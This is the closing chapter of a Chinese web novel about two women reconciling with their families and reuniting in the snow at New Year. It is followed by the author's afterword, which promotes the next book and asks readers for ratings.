她是偷偷来看母亲的。小孩总是天然和母亲更亲近。 哪怕新的家庭对她很好,不会骂她和朋友玩得烈,不会说她弄脏衣服浪费粮食。 安绾瑶也还是想见安予笙。 “姐姐会做饭吗?我想吃妈妈做的饭了。”安绾瑶到底不是安迟叙。 安迟叙牵着她,看她隔了几分钟又跳起来走,就知道。 安绾瑶一定会在新环境适应的很好。 她到底只有十岁,记不了那么多事,没有那么复杂的感情。 等时间过去。十年,二十年。等安绾瑶长到安迟叙的年纪。 她也许就会放下这个不太好的母亲,成为新的人。 “我不太熟练。还是下馆子吧,我问问人。”安迟叙在家族群发了消息。 她们有一个新的家族群,里面是景桐一家和安迟叙。 安迟叙想了想,等晏辞微想她了,她就把晏辞微也拉进去。 没过一分钟,景桐丢来两个链接。 池开灵不知道在做什么,居然也秒回了,说她和遇景更喜欢第二家。 安迟叙导航了一下,叫了出租车。 放下手机就看见安绾瑶在玩路边的野花,上面爬了只蜗牛。 安迟叙蹲下去时,想。如果安予笙看见,一定会说安绾瑶没心没肺。 可安绾瑶才十岁。她的母亲又不是去世了,她们随时还能再见面。 她何必要时时刻刻记挂一个不太好的母亲呢? 小孩就是没心没肺的啊。顾着玩,顾着跑跳,顾着朋友学校郊游公园,甚至她自己种下的种子,捡回家的蝉。 她的世界很小,两点一线。 也可以很大,每一个大人注意不到的细节她都要好好把玩。 “要带走吗?”安迟叙正好有一个喝干净的塑料瓶。 “可以吗?姐姐你原来不会骂我诶。”安绾瑶接过塑料瓶,装完蜗牛才想起要说谢谢。 新家庭哪儿都好,就是礼节要求高。安绾瑶不太习惯,安予笙以前不怎么强调。 安迟叙还是没跟安绾瑶说,她之前的情绪来自安予笙。 说她自私,习惯性藏匿自己的坏,都好。她也只是普通人,而她的妹妹还很小。 可能以后她们会谈论这个话题。 安迟叙到底不是安予笙,她很清楚她自己的脾气,做错的事。 只是不是现在。 现在,安迟叙要带安绾瑶去吃晚饭。 安迟叙提着安绾瑶上了车,看她拿电话手表给新家庭的妈妈发去消息,浅浅的弯了一个笑。 * * * 【我领到离婚证了。】裴绮玲知道晏辞微在四九城,给她发了这个消息,附上图片。 不过是普通的一天。恰好春节前一周。 晏辞微孤身一人来,裴绮玲以为她感情不顺,想安慰她,要带她去吃饭。 结果晏辞微是来了,脸冷着。身后还跟了个大尾巴。 晏明琼也来了。 晏辞微当然不可能同意。晏明琼死缠烂打无果,跟踪晏辞微来的。 裴绮玲看了前妻一眼,也没说什么,真允许她进了包间。 “妈咪。”晏辞微亲昵一声,霸占了裴绮玲身旁的位置。 这下两个人坐同一排,留晏明琼在对面。 晏明琼和裴绮玲今天才拿到离婚证。 这画面怎么看怎么奇怪。 两位当事人比晏辞微更淡定。各自倒茶,点菜。 好像她们只是拼桌。 “刺猬,你看看呢?”裴绮玲按上次去c城观察出的喜好给晏辞微点了。 晏辞微删了一个,加了一个,对着菜单还拍了照片。 隔会儿上菜又挨个拍照。活像个在朋友圈天天发打卡照片的大学生。 晏明琼好奇又不敢问。晏辞微离家这么多年,晏明琼好歹时不时和她有联系,知道她性子。绝不是这样。 裴绮玲眼尖,看见她是给谁发消息。 “发给你的团团?”裴绮玲凑过去。 晏辞微还知羞,别开手机。“嗯。我和她挺好的,多谢妈咪之前的话。” 晏辞微觉着,如果没有裴绮玲,她和安迟叙还不知道要闹的时候,闹成什么样。 果然找妈咪是正确的。 “那就好。婚礼要请我吧?到时候我带人给你们做造型。”裴绮玲抚过晏辞微的头发。 得到晏辞微一个相当灿烂的笑。真像五岁,晏辞微感情顺利之后越来越幼稚了。 菜上了之后,裴绮玲和晏明琼也真各吃各的。 晏辞微跟裴绮玲分,隔会儿看见面前多了一份晏明琼递过来的菜。 晏明琼极少做这种事。或者说,晏明琼很少和晏辞微单独相处。 她们比起母女,更像两代继承人,大多数时候公事公办,少数时候见面就吵架,连老师和学生的关系都不如,没那么亲近。 此刻女儿和前妻都在,她却把菜分给了女儿。 晏辞微拿筷子的动作顿了下,而后真把晏明琼给的那一盘倒进自己碗里。 她们当真很久没有争吵过了。上次晏明琼来找晏辞微,也是想提醒她和安迟叙的事。不是阻止,只是点醒她。 后来发现效果不太好,就不出面了。还得是晏辞微自己想到了裴绮玲。 裴绮玲把晏明琼的改变看在眼里,抿着如常的笑,不曾多言。 如果早二十年,哪怕十年。晏明琼变好了,她也不会选择离婚。 可是她们已经五十多岁了。孩子都要成家,说不定过两年孙女都有了。 如果她再次选择把全部的时间留给晏明琼。 那她自己呢? 她的梦想,她没能正常体验的追逐。她逝去后好不容易找回的自我。 这些珍贵的,构成她的东西,又得去哪儿? 所以裴绮玲不会心软,也会允许晏明琼偶尔的靠近。 晏明琼该长大了,该明白这个道理。 一顿饭吃的半边冷,半边热。 裴绮玲和晏辞微这方温度正好,偶尔聊天,偶尔打闹。 比寻常母女更亲近,好像裴绮玲是晏辞微的密友。 晏明琼和晏辞微这边冷到发僵。晏明琼自己那侧冻得她手疼。 好漫长一顿饭。晏明琼希望能久一点,再久一点。 裴绮玲已经自由了,不知道什么时候会回四九城,下一个星期又在哪里。 可这样一顿饭对晏辞微来讲只是常态。 不能怪她吃味。晏明琼默默消灭了最后一口饭菜。 已经凉透的东西好吃不起来,再喝茶,茶也冷得发苦。 强行追来的后果就是如此,只有难吃的食物刮着喉咙。 好歹,她还能结账。裴绮玲不会跟她抢这个。晏辞微看见她放上了卡,也就没动。 “你现在要回去找她吗?”裴绮玲听晏辞微说完了安迟叙那边的事,也知道了她们最近的约定。 她看着灿烂如春的女儿,觉着时候差不多了。 “可能不行。”晏明琼却先晏辞微开口。 晏辞微眉头轻拧,看向晏明琼的眼。 晏明琼的眼和她形状太像,偶尔看见晏明琼,晏辞微只觉得自己在照镜子。 无非多了几条皱纹,多了时光的沉淀。少了些活力。 她曾讨厌看见晏明琼,尤其这双眼。 每一次对视都在提醒她,她也是如此卑劣恶心的人,下作得不择手段。 如今再对视,却不曾生出这般剧烈的厌恶。哪怕听见晏明琼的“阻止”。 晏明琼语速挺温吞的,大概也不是真的想要阻止晏辞微,是提醒。 以前多少次对话,晏辞微都误解晏明琼的实际意思,总觉得她在阻拦、控制、批判? 可能晏明琼只是想提醒她,可能晏明琼是在生疏的尝试着关心她。 多奇怪。晏辞微直到不恨自己,才发现她的母亲原来没有那么恨她。 恨算不上,讨厌也许有点。 爱在这两种感情之下太朦胧,却分布在每时每刻里。 最难解的恨里总带着爱。 晏辞微在自洽以后把以前恨生出的结一个一个解开。 所以安迟叙要和她分开,让她独立。 只有自己才能养大自己。 “怎么说话的?”裴绮玲最了解晏明琼,轻声提醒。 晏辞微性子和晏明琼差不多,哪儿能接受晏明琼这样的话。 “我的意思是,她的项目交接还要三五天,到大年二十八左右。” 她们忙起来向来不过年的,今年是晏辞微主持,稍微人性化些,没让人大过年的加班。 “那你让你家团团过来?”裴绮玲拍拍晏辞微的肩膀。 女儿长大之后,她也没和女儿团年过。今年春节注定很不一样。 “她还在忙,而且,何必多跑一趟。”晏辞微没往过年的方向想。 还以为裴绮玲说要安迟叙过来陪她,等她忙完一起回s市。 “不是这个。”晏明琼也想很久了。 如果晏辞微能留下,说不定裴绮玲也会跟着回来。 “吃团圆饭。时间差不多。” 她们快走出餐馆。晏明琼跟在晏辞微右边,此刻靠的近,侧仰着头看向她。 二十五岁的晏辞微已经很让她陌生了。记忆里的晏辞微总是那么小,那么矮,就在脚边。 如果她早点醒悟…… 她们是否还能有一个幸福的家庭? 可惜没有如果。她终究没有这个机会,裴绮玲已经坚定的选择了离开这个家,少一个人,怎么都不能称之为圆满。 至少她的女儿应该幸福。 晏明琼走向晏辞微。注视着她,如同看见二十五岁的自己。 她们一样有壮志,有意气,昂扬着多情的桃花眼。 而晏辞微比起她,选择了更好的一条路。 “不回来也好。你和她好好过日子。要结婚了告诉我。我给你们准备礼物。”晏明琼朝晏辞微伸出手。 第一次给她的孩子真挚的祝福。 晏辞微怔怔,有些不知所措。她几乎没有和晏明琼拥抱过,此刻也嫌腻歪,可亲昵的本能还在。 她背被轻拍了下,于是回过头。 “去吧。”你要走向幸福。 裴绮玲含着今天最深的笑,也把祝福加在晏辞微身上。 晏明琼在等。 晏辞微的目光反复在她们二人之间回荡,终于迈出一步。 晏辞微得到了一个迟到二十年的拥抱。 …… 和想象中的不一样。 晏明琼喜欢甜味的香水,冬日大衣不吸热,略微发冷,还粘着没有清理完的猫毛。 到底还是那个晏辞微不曾得到的拥抱。 只是现在,晏辞微不再渴望,也会被晏明琼好好抱住了。 晏辞微抱了两秒都没有,感受到晏明琼的身体,呼吸的频率,急匆匆挣脱。 晏明琼以为她的拥抱还没成型。女儿说走就走了。 果然是长大了。 这时肩膀盛起一片凉。 三个人一同仰起头。 今冬的第一场雪,终于落下。 晏辞微眨眼,雪花黏上她的睫毛。 她忽然明白,安迟叙说的那句话。 总有一天她会觉得到了时间,她可以回来了。 晏辞微伸手接住一片雪花。 就是这一刻。 她比任何时候都急切地,热烈地,兴奋地。 想要见到她的??团团。 * * * 晏辞微告诉了安迟叙,她要在四九城留到大年二十八这件事。 安迟叙也说,她还要在c城陪遇少微一家提前吃个团年饭。 刚好她们大年二十九回s市,开始收拾布置。 大年三十一起围着打扫好的旧房子,安心过个好年。 晏辞微自私、贪心。才不肯把复合后的第一个团圆饭分享。她只要和她的团团一起。 四九城的冬常积雪。晏辞微走在她在四九城的家外,地上堆着白茫茫一片。 不断有新的雪花坠落,洋洋洒洒遮得视野只剩白,却不冷不痛。 过年的氛围已经弄了。满眼非白皆红,喜气洋洋。抬眼能看见贴好的窗花,挂着的灯笼。 窗花各式各样,但没有一家会贴纸蝴蝶。 晏辞微勾着嘴角想,那是她们家的特色,可不能叫谁都学去了。 晏辞微给安迟叙发了好多雪景。像带她身临其境。 安迟叙在忙,暂时没有回复。 晏辞微等得痴又甜,反复用手套擦掉屏幕上的水,又不小心哈一口气蒙出花。 晏辞微干脆没管屏幕的模糊。她按下语音按钮。 又极为认真,一字一字的打下。 【亲爱的团团猫。你的姐姐想你了。】 恍惚有红蝴蝶从她眼前飞过。 晏辞微捏着手机停下脚步,仰起头追寻。 冬季大雪,怎么还有蝴蝶?它是活还是幻梦? 却在回头的时候,看见她最思念的那个人。 一身火红的新年装,站在她身后。 安迟叙两步上前,将一捧折好的蝴蝶抛向她。 红色纷纷扬扬散在空中。好像蝴蝶被点了灵,真向上飞舞。 一对蝴蝶相伴缠绵,越飞越高,越飞越远。 最后晏辞微怎么眨眼都看不见,仿佛天地间从来就没有过这么一对眷侣。 晏辞微睁到干涩的眼睛忽然被那双顽皮的手捂住。 安迟叙拽着晏辞微向后倒。 两个人一同摔在雪地里。黏一身雪,一身蝴蝶,一身冷。又被彼此温暖。 仰头看向她们共同的天,这一次她们头发缠着头发,手牵着手,肩并着肩。 而后两个人笑出声,抱成团。 “我也想你。我亲爱的姐姐猫。”安迟叙的声音落下。 被她抛举的蝴蝶腾飞向谁也抓不住的地方,身边却永远有彼此。 她们的红蝴蝶从此向上—— 作者有话说:正文完结啦!终于!好感动[撒花][撒花][撒花] 打分好像不需要订番外~现在就求一个五星好评[可怜]求求啦,团结这一路不容易~[可怜][可怜][可怜][撒花] 番外大概在十一月中上旬写,走榜需求,理解一下~ 带一带同类型酸涩下一本,大概春节前后开,《误点的陪酒曾甩过我》,医学生x陪酒女,古板严谨x火辣妩媚,年下包养姐姐,现代救风尘不沾男 最后其实没太多想说的,主要角色的心境变化、成长,前面已经交代了很多,可能说一说安绾瑶这个妹妹吧。前面看起来她可能很讨厌,像熊孩子,但其实是因为,那段剧情我是站在安迟叙的角度,极为主观的去描述了一个小孩的行为,给她十分不公正的解读。其实安绾瑶本身没那么复杂,没那么多恨,所有的情绪里八成都是安迟叙自己的不快映射在了安绾瑶身上。安绾瑶只是一个普普通通的小朋友,十岁的年纪,心思再复杂也不是纯黑的,况且她也没有那么早熟,有些坏是教育和小孩本能的共同结果。所以给她一个更健康的成长环境作为结局。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m